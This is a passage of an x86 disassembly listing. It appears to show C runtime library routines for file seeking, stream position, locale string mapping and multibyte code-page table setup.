

loc_416946:				; CODE XREF: sub_41692A+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_416961
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41695C
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_416946
		jmp	short loc_41699B
; ---------------------------------------------------------------------------


loc_41695C:				; CODE XREF: sub_41692A+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_416985
; ---------------------------------------------------------------------------


loc_416961:				; CODE XREF: sub_41692A+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_410C0F
		pop	ecx
		mov	ecx, ds:dword_45FB34
		mov	[edi+ecx], eax
		mov	eax, ds:dword_45FB34
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41699B
		mov	esi, edi


loc_416985:				; CODE XREF: sub_41692A+35j
		cmp	esi, ebp
		jz	short loc_41699B
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41699B:				; CODE XREF: sub_41692A+12j
					; sub_41692A+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41692A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A2	proc near		; CODE XREF: seg000:00411E65p
					; sub_412B27+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, ds:dword_460C60
		push	esi
		push	edi
		jnb	short loc_416A24
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:460B60h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_416A24
		push	eax
		call	sub_419252
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4169E6
		mov	ds:dword_45F844, 9
		jmp	short loc_416A35
; ---------------------------------------------------------------------------


loc_4169E6:				; CODE XREF: sub_4169A2+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	ds:dword_41C098	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_416A06
		call	ds:dword_41C068	; RtlGetLastWin32Error
		jmp	short loc_416A08
; ---------------------------------------------------------------------------


loc_416A06:				; CODE XREF: sub_4169A2+5Aj
		xor	eax, eax


loc_416A08:				; CODE XREF: sub_4169A2+62j
		test	eax, eax
		jz	short loc_416A15
		push	eax
		call	sub_41724D
		pop	ecx
		jmp	short loc_416A35
; ---------------------------------------------------------------------------


loc_416A15:				; CODE XREF: sub_4169A2+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_416A38
; ---------------------------------------------------------------------------


loc_416A24:				; CODE XREF: sub_4169A2+Dj
					; sub_4169A2+2Aj
		and	ds:dword_45F848, 0
		mov	ds:dword_45F844, 9


loc_416A35:				; CODE XREF: sub_4169A2+42j
					; sub_4169A2+71j
		or	eax, 0FFFFFFFFh


loc_416A38:				; CODE XREF: sub_4169A2+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4169A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A3C	proc near		; CODE XREF: seg000:00411E28p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_416A58
		mov	[edi+4], ebx


loc_416A58:				; CODE XREF: sub_416A3C+17j
		push	1
		push	ebx
		push	esi
		call	sub_4169A2
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_416AC6
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_416A7D
		sub	eax, [edi+4]
		jmp	loc_416B8F
; ---------------------------------------------------------------------------


loc_416A7D:				; CODE XREF: sub_416A3C+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_416AB7
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, ds:dword_460B60[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_416ACE
		mov	edx, ecx


loc_416AA8:				; CODE XREF: sub_416A3C+79j
		cmp	edx, eax
		jnb	short loc_416ACE
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_416AB4
		inc	[ebp+var_8]


loc_416AB4:				; CODE XREF: sub_416A3C+73j
		inc	edx
		jmp	short loc_416AA8
; ---------------------------------------------------------------------------


loc_416AB7:				; CODE XREF: sub_416A3C+50j
		test	dl, 80h
		jnz	short loc_416ACE
		mov	ds:dword_45F844, 16h


loc_416AC6:				; CODE XREF: sub_416A3C+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_416B8F
; ---------------------------------------------------------------------------


loc_416ACE:				; CODE XREF: sub_416A3C+68j
					; sub_416A3C+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_416ADC
		mov	eax, [ebp+var_8]
		jmp	loc_416B8F
; ---------------------------------------------------------------------------


loc_416ADC:				; CODE XREF: sub_416A3C+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_416B87
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_416AF5
		and	[ebp+var_8], edx
		jmp	loc_416B87
; ---------------------------------------------------------------------------


loc_416AF5:				; CODE XREF: sub_416A3C+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:460B60h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_416B81
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_4169A2
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_416B48
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_416B33:				; CODE XREF: sub_416A3C+104j
		cmp	eax, ecx
		jnb	short loc_416B42
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_416B3F
		inc	[ebp+arg_0]


loc_416B3F:				; CODE XREF: sub_416A3C+FEj
		inc	eax
		jmp	short loc_416B33
; ---------------------------------------------------------------------------


loc_416B42:				; CODE XREF: sub_416A3C+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_416B7C
; ---------------------------------------------------------------------------


loc_416B48:				; CODE XREF: sub_416A3C+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_4169A2
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_416B6F
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_416B6F
		test	ch, 4
		jz	short loc_416B72


loc_416B6F:				; CODE XREF: sub_416A3C+124j
					; sub_416A3C+12Cj
		mov	eax, [edi+18h]


loc_416B72:				; CODE XREF: sub_416A3C+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_416B7C:				; CODE XREF: sub_416A3C+10Aj
		jz	short loc_416B81
		inc	[ebp+arg_0]


loc_416B81:				; CODE XREF: sub_416A3C+D9j
					; sub_416A3C:loc_416B7Cj
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_416B87:				; CODE XREF: sub_416A3C+A4j
					; sub_416A3C+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_416B8F:				; CODE XREF: sub_416A3C+3Cj
					; sub_416A3C+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416A3C	endp

; ---------------------------------------------------------------------------


loc_416B94:				; CODE XREF: sub_412027+A3p
					; sub_4156C1+A5p ...
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41C858
		push	offset sub_417B48
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		xor	edi, edi
		cmp	ds:dword_45F8C4, edi
		jnz	short loc_416C0A
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_41C850
		mov	esi, 100h
		push	esi
		push	edi
		call	ds:dword_41C178	; LCMapStringW
		test	eax, eax
		jz	short loc_416BE8
		mov	ds:dword_45F8C4, ebx
		jmp	short loc_416C0A
; ---------------------------------------------------------------------------


loc_416BE8:				; CODE XREF: seg000:00416BDEj
		push	edi
		push	edi
		push	ebx
		push	offset dword_42F3E4
		push	esi
		push	edi
		call	near ptr 3D0000h
		xor	al, [ebp+22840FC0h]
		add	[eax], eax
		add	bh, al
		add	eax, offset dword_45F8C4
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_416C0A:				; CODE XREF: seg000:00416BC2j
					; seg000:00416BE6j
		cmp	[ebp+14h], edi
		jle	short loc_416C1F
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		call	sub_416DB8
		pop	ecx
		pop	ecx
		mov	[ebp+14h], eax


loc_416C1F:				; CODE XREF: seg000:00416C0Dj
		mov	eax, ds:dword_45F8C4
		cmp	eax, 2
		jnz	short loc_416C46
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 3D0000h
		scasb
		jmp	loc_416D24
; ---------------------------------------------------------------------------


loc_416C46:				; CODE XREF: seg000:00416C27j
		cmp	eax, 1
		jnz	loc_416D22
		cmp	[ebp+20h], edi
		jnz	short loc_416C5C
		mov	eax, ds:dword_45F8E0
		mov	[ebp+20h], eax


loc_416C5C:				; CODE XREF: seg000:00416C52j
		push	edi
		push	edi
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		mov	eax, [ebp+24h]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	dword ptr [ebp+20h]
		call	ds:dword_41C120	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp-1Ch], ebx
		cmp	ebx, edi
		jz	loc_416D22
		mov	[ebp-4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_410BE0
		mov	[ebp-18h], esp
		mov	eax, esp
		mov	[ebp-24h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_416CB7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	edi, edi
		mov	[ebp-24h], edi
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ebx, [ebp-1Ch]


loc_416CB7:				; CODE XREF: seg000:00416CA2j
		cmp	[ebp-24h], edi
		jz	short loc_416D22
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	1
		push	dword ptr [ebp+20h]
		call	ds:dword_41C120	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_416D22
		push	edi
		push	edi
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_41C178	; LCMapStringW
		mov	esi, eax
		mov	[ebp-28h], esi
		cmp	esi, edi
		jz	short loc_416D22
		test	byte ptr [ebp+0Dh], 4
		jz	short loc_416D36
		cmp	[ebp+1Ch], edi
		jz	loc_416DB1
		cmp	esi, [ebp+1Ch]
		jg	short loc_416D22
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_41C178	; LCMapStringW
		test	eax, eax
		jnz	loc_416DB1


loc_416D22:				; CODE XREF: seg000:00416C49j
					; seg000:00416C80j ...
		xor	eax, eax


loc_416D24:				; CODE XREF: seg000:00416C41j
					; seg000:00416DB3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_416D36:				; CODE XREF: seg000:00416CF4j
		mov	dword ptr [ebp-4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_410BE0
		mov	[ebp-18h], esp
		mov	ebx, esp
		mov	[ebp-20h], ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_416D6A
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	edi, edi
		xor	ebx, ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-28h]


loc_416D6A:				; CODE XREF: seg000:00416D56j
		cmp	ebx, edi
		jz	short loc_416D22
		push	esi
		push	ebx
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_41C178	; LCMapStringW
		test	eax, eax
		jz	short loc_416D22
		cmp	[ebp+1Ch], edi
		push	edi
		push	edi
		jnz	short loc_416D91
		push	edi
		push	edi
		jmp	short loc_416D97
; ---------------------------------------------------------------------------


loc_416D91:				; CODE XREF: seg000:00416D8Bj
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]


loc_416D97:				; CODE XREF: seg000:00416D8Fj
		push	esi
		push	ebx
		push	220h
		push	dword ptr [ebp+20h]
		call	ds:dword_41C11C	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_416D22


loc_416DB1:				; CODE XREF: seg000:00416CF9j
					; seg000:00416D1Cj
		mov	eax, esi
		jmp	loc_416D24

; =============== S U B	R O U T	I N E =======================================



sub_416DB8	proc near		; CODE XREF: seg000:00416C15p
					; seg000:0041A7B6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_416DD5


loc_416DC8:				; CODE XREF: sub_416DB8+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_416DD5
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_416DC8


loc_416DD5:				; CODE XREF: sub_416DB8+Ej
					; sub_416DB8+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_416DE0
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_416DE0:				; CODE XREF: sub_416DB8+21j
		mov	eax, edx
		retn
sub_416DB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416DE3	proc near		; CODE XREF: sub_4171A7+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	loc_416F7C
		mov	esi, eax
		pop	ecx
		cmp	esi, ds:dword_460C64
		mov	[ebp+arg_0], esi
		jz	loc_416F70
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_416F66
		xor	edx, edx
		mov	eax, offset dword_42E510


loc_416E17:				; CODE XREF: sub_416DE3+41j
		cmp	[eax], esi
		jz	short loc_416E8D
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_42E600
		jl	short loc_416E17
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	near ptr 0CA0004h
		repne cmp eax, 1
		jnz	loc_416F5E
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_460D80
		cmp	[ebp+var_18], 1
		mov	ds:dword_460C64, esi
		rep stosd
		stosb
		mov	ds:dword_460E84, ebx
		jbe	loc_416F4C
		cmp	[ebp+var_12], 0
		jz	loc_416F22
		lea	ecx, [ebp+var_11]


loc_416E6A:				; CODE XREF: sub_416DE3+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_416F22
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_416E7B:				; CODE XREF: sub_416DE3+A8j
		cmp	eax, edx
		ja	loc_416F16
		or	ds:byte_460D81[eax], 4
		inc	eax
		jmp	short loc_416E7B
; ---------------------------------------------------------------------------


loc_416E8D:				; CODE XREF: sub_416DE3+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_460D80
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_42E520[esi]


loc_416EA9:				; CODE XREF: sub_416DE3+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_416EDC


loc_416EB0:				; CODE XREF: sub_416DE3+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_416EDC
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_416ED5
		mov	edx, [ebp+var_4]
		mov	dl, ds:byte_42E508[edx]


loc_416ECA:				; CODE XREF: sub_416DE3+F0j
		or	ds:byte_460D81[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_416ECA


loc_416ED5:				; CODE XREF: sub_416DE3+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_416EB0


loc_416EDC:				; CODE XREF: sub_416DE3+CBj
					; sub_416DE3+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_416EA9
		mov	eax, [ebp+arg_0]
		mov	ds:dword_460C7C, 1
		push	eax
		mov	ds:dword_460C64, eax
		call	sub_416FC6
		lea	esi, dword_42E514[esi]
		mov	edi, offset dword_460C70
		movsd
		movsd
		pop	ecx
		mov	ds:dword_460E84, eax
		movsd
		jmp	short loc_416F6B
; ---------------------------------------------------------------------------


loc_416F16:				; CODE XREF: sub_416DE3+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_416E6A


loc_416F22:				; CODE XREF: sub_416DE3+7Ej
					; sub_416DE3+8Bj
		push	1
		pop	eax


loc_416F25:				; CODE XREF: sub_416DE3+14Fj
		or	ds:byte_460D81[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_416F25
		push	esi
		call	sub_416FC6
		pop	ecx
		mov	ds:dword_460E84, eax
		mov	ds:dword_460C7C, 1
		jmp	short loc_416F52
; ---------------------------------------------------------------------------


loc_416F4C:				; CODE XREF: sub_416DE3+74j
		mov	ds:dword_460C7C, ebx


loc_416F52:				; CODE XREF: sub_416DE3+167j
		xor	eax, eax
		mov	edi, offset dword_460C70
		stosd
		stosd
		stosd
		jmp	short loc_416F6B
; ---------------------------------------------------------------------------


loc_416F5E:				; CODE XREF: sub_416DE3+51j
		cmp	ds:dword_45F8E8, ebx
		jz	short loc_416F74


loc_416F66:				; CODE XREF: sub_416DE3+27j
		call	sub_416FF9


loc_416F6B:				; CODE XREF: sub_416DE3+131j
					; sub_416DE3+179j
		call	sub_417022


loc_416F70:				; CODE XREF: sub_416DE3+1Dj
		xor	eax, eax
		jmp	short loc_416F77
; ---------------------------------------------------------------------------


loc_416F74:				; CODE XREF: sub_416DE3+181j
		or	eax, 0FFFFFFFFh


loc_416F77:				; CODE XREF: sub_416DE3+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416DE3	endp

; ---------------------------------------------------------------------------


loc_416F7C:				; CODE XREF: sub_416DE3+Cp
		mov	eax, [esp+4]
		and	ds:dword_45F8E8, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short near ptr loc_416F9B+1
		mov	ds:dword_45F8E8, 1
		call	near ptr 3D0000h


loc_416F9B:				; CODE XREF: seg000:00416F8Aj
		mov	edx, 75FDF883h
		adc	bh, al
		add	eax, offset dword_45F8E8
		add	[eax], eax
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E8h
		dd 869054h, 0FCF8836Ch,	0E0A10F75h, 0C70045F8h,	45F8E805h
		dd 100h
		db 0, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_416FC6	proc near		; CODE XREF: sub_416DE3+118p
					; sub_416DE3+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_416FF3
		sub	eax, 4
		jz	short loc_416FED
		sub	eax, 0Dh
		jz	short loc_416FE7
		dec	eax
		jz	short loc_416FE1
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_416FE1:				; CODE XREF: sub_416FC6+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_416FE7:				; CODE XREF: sub_416FC6+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_416FED:				; CODE XREF: sub_416FC6+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_416FF3:				; CODE XREF: sub_416FC6+9j
		mov	eax, 411h
		retn
sub_416FC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FF9	proc near		; CODE XREF: sub_416DE3:loc_416F66p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_460D80
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_460C70
		mov	ds:dword_460C64, eax
		mov	ds:dword_460C7C, eax
		mov	ds:dword_460E84, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_416FF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417022	proc near		; CODE XREF: sub_416DE3:loc_416F6Bp

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	ds:dword_460C64
		call	near ptr 0CC0004h
		lock cmp eax, 1
		jnz	loc_41715B
		xor	eax, eax
		mov	esi, 100h


loc_41704C:				; CODE XREF: sub_417022+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41704C
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41709D
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_41706B:				; CODE XREF: sub_417022+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_417092
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_417092:				; CODE XREF: sub_417022+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41706B
		pop	edi
		pop	ebx


loc_41709D:				; CODE XREF: sub_417022+42j
		push	0
		lea	eax, [ebp+var_514]
		push	ds:dword_460E84
		push	ds:dword_460C64
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	loc_4180E4
		push	0
		lea	eax, [ebp+var_214]
		push	ds:dword_460C64
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	ds:dword_460E84
		call	loc_416B94
		push	0
		lea	eax, [ebp+var_314]
		push	ds:dword_460C64
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	ds:dword_460E84
		call	loc_416B94
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_417118:				; CODE XREF: sub_417022+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_417136
		or	ds:byte_460D81[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_41712E:				; CODE XREF: sub_417022+127j
		mov	ds:byte_460C80[eax], dl
		jmp	short loc_417152
; ---------------------------------------------------------------------------


loc_417136:				; CODE XREF: sub_417022+FCj
		test	dl, 2
		jz	short loc_41714B
		or	ds:byte_460D81[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41712E
; ---------------------------------------------------------------------------


loc_41714B:				; CODE XREF: sub_417022+117j
		and	ds:byte_460C80[eax], 0


loc_417152:				; CODE XREF: sub_417022+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_417118
		jmp	short loc_4171A4
; ---------------------------------------------------------------------------


loc_41715B:				; CODE XREF: sub_417022+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_417162:				; CODE XREF: sub_417022+180j
		cmp	eax, 41h
		jb	short loc_417180
		cmp	eax, 5Ah
		ja	short loc_417180
		or	ds:byte_460D81[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_417178:				; CODE XREF: sub_417022+174j
		mov	ds:byte_460C80[eax], cl
		jmp	short loc_41719F
; ---------------------------------------------------------------------------


loc_417180:				; CODE XREF: sub_417022+143j
					; sub_417022+148j
		cmp	eax, 61h
		jb	short loc_417198
		cmp	eax, 7Ah
		ja	short loc_417198
		or	ds:byte_460D81[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_417178
; ---------------------------------------------------------------------------


loc_417198:				; CODE XREF: sub_417022+161j
					; sub_417022+166j
		and	ds:byte_460C80[eax], 0


loc_41719F:				; CODE XREF: sub_417022+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_417162


loc_4171A4:				; CODE XREF: sub_417022+137j
		pop	esi
		leave
		retn
sub_417022	endp


; =============== S U B	R O U T	I N E =======================================



sub_4171A7	proc near		; CODE XREF: seg000:0041750Bp
					; seg000:00417567p
					; DATA XREF: ...
		cmp	ds:dword_460EAC, 0
		jnz	short locret_4171C2
		push	0FFFFFFFDh
		call	sub_416DE3
		pop	ecx
		mov	ds:dword_460EAC, 1

locret_4171C2:				; CODE XREF: sub_4171A7+7j
		retn
sub_4171A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4171C3	proc near		; CODE XREF: sub_4121E8+2Bp
					; sub_4121E8+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_460C7C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4171E7
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_411D00
		add	esp, 0Ch
		jmp	short loc_41724A
; ---------------------------------------------------------------------------


loc_4171E7:				; CODE XREF: sub_4171C3+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41722C
		mov	ecx, [ebp+arg_4]


loc_4171F2:				; CODE XREF: sub_4171C3+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	ds:byte_460D81[esi], 4
		mov	[edi], al
		jz	short loc_417216
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_417222
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_417228
		jmp	short loc_41721C
; ---------------------------------------------------------------------------


loc_417216:				; CODE XREF: sub_4171C3+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41722C


loc_41721C:				; CODE XREF: sub_4171C3+51j
		test	edx, edx
		jnz	short loc_4171F2
		jmp	short loc_41722C
; ---------------------------------------------------------------------------


loc_417222:				; CODE XREF: sub_4171C3+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41722C
; ---------------------------------------------------------------------------


loc_417228:				; CODE XREF: sub_4171C3+4Fj
		and	byte ptr [edi-2], 0


loc_41722C:				; CODE XREF: sub_4171C3+2Aj
					; sub_4171C3+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_417247
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_417247:				; CODE XREF: sub_4171C3+6Fj
		mov	eax, [ebp+arg_0]


loc_41724A:				; CODE XREF: sub_4171C3+22j
		pop	edi
		pop	ebp
		retn
sub_4171C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41724D	proc near		; CODE XREF: sub_41249F+16p
					; sub_4126F3+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	ds:dword_45F848, ecx
		mov	eax, offset dword_42E600


loc_41725E:				; CODE XREF: sub_41724D+1Ej
		cmp	ecx, [eax]
		jz	short loc_417282
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_42E768
		jl	short loc_41725E
		cmp	ecx, 13h
		jb	short loc_41728F
		cmp	ecx, 24h
		ja	short loc_41728F
		mov	ds:dword_45F844, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_417282:				; CODE XREF: sub_41724D+13j
